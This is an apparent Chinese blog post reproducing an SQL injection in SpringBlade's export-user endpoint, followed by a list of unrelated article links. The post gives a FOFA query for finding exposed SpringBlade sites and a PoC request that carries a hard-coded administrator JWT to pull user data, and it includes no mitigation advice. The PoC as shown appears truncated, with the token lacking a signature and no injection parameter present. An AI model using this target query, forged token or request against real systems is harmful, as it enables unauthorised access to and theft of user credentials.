当前位置： 首页 > news >正文

SpringBlade export-user SQL 注入漏洞复现

news 来源：原创 2024/5/10 10:22:44

0x01 产品简介

SpringBlade 是一个由商业级项目升级优化而来的 SpringCloud 分布式微服务架构、SpringBoot 单体式微服务架构并存的综合型项目。

0x02 漏洞概述

SpringBlade v3.2.0 及之前版本框架后台 export-user 路径存在安全漏洞，攻击者利用该漏洞可通过组件customSqlSegment 进行SQL注入攻击，攻击者可将用户名、密码等敏感信息通过 excel 导出。

0x03 复现环境

FOFA：body="https://bladex.vip"

0x04 漏洞复现

PoC

GET /api/blade-user/export-user?Blade-Auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4i

相关文章：

  • Qt 国际化——创建中英文翻译步骤
  • Linux线程——条件变量
  • 快速能访问服务器的文件
  • Web请求与响应
  • 修改blackd源码，实现 black + isort
  • 银行测试：第三方支付平台业务流，功能/性能/安全测试方法
  • 最新国内可用使用GPT4.0，GPT语音对话，Midjourney绘画，DALL-E3文生图
  • MySQL基本操作 DDL DML DQL三大操作介绍
  • vue打包内存问题解决办法＜--- Last few GCs ---＞＜--- JS stacktrace ---＞
  • linux驱动的学习 驱动开发初识
  • 命令执行 [SWPUCTF 2021 新生赛]babyrce
  • 服务器直接配置免密登录
  • 你想改win11系统中窗口、菜单等的字体？ 微软不想让你改
  • 环境搭建及源码运行_java环境搭建_idea版本下载及安装
  • flutter自定义地图Marker完美展示图片
  • 0基础学习移动端适配
  • 230. Kth Smallest Element in a BST
  • CSS盒模型深入
  • interface和setter，getter
  • JavaScript-Array类型
  • Laravel 菜鸟晋级之路
  • Laravel 中的一个后期静态绑定
  • linux安装openssl、swoole等扩展的具体步骤
  • MobX
  • nodejs实现webservice问题总结
  • scala基础语法(二)
  • spark本地环境的搭建到运行第一个spark程序
  • 安卓应用性能调试和优化经验分享
  • 大快搜索数据爬虫技术实例安装教学篇
  • 两列自适应布局方案整理
  • 聊聊hikari连接池的leakDetectionThreshold
  • 前端面试总结（at, md）
  • 深度学习入门：10门免费线上课程推荐
  • 深入 Nginx 之配置篇
  • 网络应用优化——时延与带宽
  • HanLP分词命名实体提取详解
  • # Python csv、xlsx、json、二进制(MP3) 文件读写基本使用
  • $(function(){})与(function($){....})(jQuery)的区别
  • $refs 、$nextTic、动态组件、name的使用
  • （+4）2.2UML建模图
  • （Matalb回归预测）PSO-BP粒子群算法优化BP神经网络的多维回归预测
  • (NO.00004)iOS实现打砖块游戏(十二):伸缩自如,我是如意金箍棒(上)!
  • (ZT)薛涌：谈贫说富
  • （附源码）spring boot火车票售卖系统 毕业设计 211004
  • （附源码）ssm高校运动会管理系统 毕业设计 020419
  • （论文阅读32/100）Flowing convnets for human pose estimation in videos
  • （排序详解之 堆排序）
  • （深度全面解析）ChatGPT的重大更新给创业者带来了哪些红利机会
  • （完整代码）R语言中利用SVM-RFE机器学习算法筛选关键因子
  • (一)appium-desktop定位元素原理
  • （转）c++ std::pair 与 std::make
  • （转载）PyTorch代码规范最佳实践和样式指南
  • .net core 6 集成 elasticsearch 并 使用分词器
  • .Net MVC4 上传大文件，并保存表单
  • .NET 简介：跨平台、开源、高性能的开发平台